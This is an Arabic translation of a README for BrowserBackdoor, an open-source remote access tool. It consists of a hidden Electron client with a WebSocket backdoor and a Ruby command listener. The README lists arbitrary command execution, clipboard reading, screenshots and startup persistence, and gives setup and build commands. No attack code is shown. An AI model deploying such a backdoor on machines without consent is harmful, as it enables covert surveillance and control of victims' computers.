
BrowserBackdoor هو تطبيق Electron يحتوي على باب خلفي WebSocket بلغة JavaScript ومستمع سطر أوامر بلغة Ruby.
BrowserBackdoor هو تطبيق Electron يستخدم بابًا خلفيًا عبر WebSocket بلغة JavaScript للاتصال بالمستمع.
BrowserBackdoorServer هو خادم WebSocket ينتظر اتصالات WebSocket الواردة وينشئ واجهة سطر أوامر لإرسال الأوامر إلى النظام البعيد.
يمكن استخدام الباب الخلفي بلغة JavaScript في BrowserBackdoor على جميع المتصفحات التي تدعم WebSockets. لن يكون له إمكانية الوصول إلى واجهة برمجة تطبيقات Electron للحاسوب المضيف إلا إذا تم استخدام تطبيق عميل BrowserBackdoor.
بعض الأشياء التي يمكنك فعلها إذا كان لديك إمكانية الوصول إلى واجهة برمجة تطبيقات Electron:
فتح نوافذ متصفح جديدة يمكنها الإشارة إلى أي موقع ويب. (مدمج بالفعل. انظر: server/modules/openURL.js).
تغيير وقراءة الحافظة. (مدمج بالفعل. انظر: server/modules/readClipboard.js و server/modules/writeClipboard.js).
الوصول إلى إشعارات نظام التشغيل عبر الأنظمة الأساسية ودرج النظام على OS X و Windows.
أخذ لقطات شاشة. (مدمج بالفعل. انظر: server/modules/screenshot.js).
تنفيذ أوامر نظام عشوائية. (مدمج بالفعل. انظر: server/modules/execCmd.js)
التشغيل عند بدء التشغيل. (مدمج بالفعل. انظر: client/main.js و server/modules/manageStartup.js).
إذا وجدت مشكلة في البرنامج، يُرجى استخدام متتبع المشكلات: https://github.com/IMcPwn/browser-backdoor/issues
لقطات الشاشة متاحة على الويكي! https://github.com/IMcPwn/browser-backdoor/wiki/Screenshots
سيتم إضافة المزيد من المعلومات إليها قريبًا.
سيعمل تطبيق العميل في الخلفية ولن يوفر أي واجهة مستخدم أثناء التشغيل. للتحقق من تشغيله، أو إيقاف تشغيله، أو تمكين/تعطيل بدء تشغيل النظام، اضغط على Command (OS X) أو Control (Windows/Linux) + Alt + \ أو أي اختصار قمت بتكوينه في client/main.js.
يمكن الوصول إلى استخدام تطبيق الخادم عن طريق كتابة help في سطر الأوامر.
متطلبات العميل:
متطلبات الخادم:
يدعم عميل BrowserBackdoor جميع الأجهزة التي يدعمها Electron. حاليًا هي Windows 32/64، OS X 64، و Linux 32/64.
تم اختبار BrowserBackdoorServer على Ubuntu 14.04 و Debian 8 و Kali Linux. يجب أن يعمل على أي نظام تشغيل Linux مماثل.
لتثبيت أي شيء، قم أولاً باستنساخ المستودع. جميع الأوامر المتبقية المعروضة تفترض أنك في جذر المستودع.
git clone https://github.com/IMcPwn/browser-backdoor
cd browser-backdoor
كيفية تثبيت وتشغيل تطبيق عميل BrowserBackdoor:
cd client
npm install
#
# قم بتكوين index.html و main.js قبل الأمر التالي.
#
npm start
كيفية بناء ملفات تنفيذية للعميل (انظر هنا لمزيد من المعلومات):
cd client
npm install electron-packager -g
electron-packager . --all
كيفية تشغيل BrowserBackdoorServer:
cd server
gem install bundler
bundle install
#
# قم بتكوين config.yml قبل الأمر التالي
#
ruby bbsconsole.rb
MIT
هذا مشروع تطوير شخصي، يُرجى عدم استخدامه لأغراض شريرة. المؤلف لا يتحمل أي مسؤولية عن أي إساءة استخدام للبرنامج.
هذا البرنامج من إنتاج IMcPwn .
معلومات الاتصال مثل البريد الإلكتروني، تويتر، وطرق الاتصال الأخرى متاحة هنا: https://imcpwn.com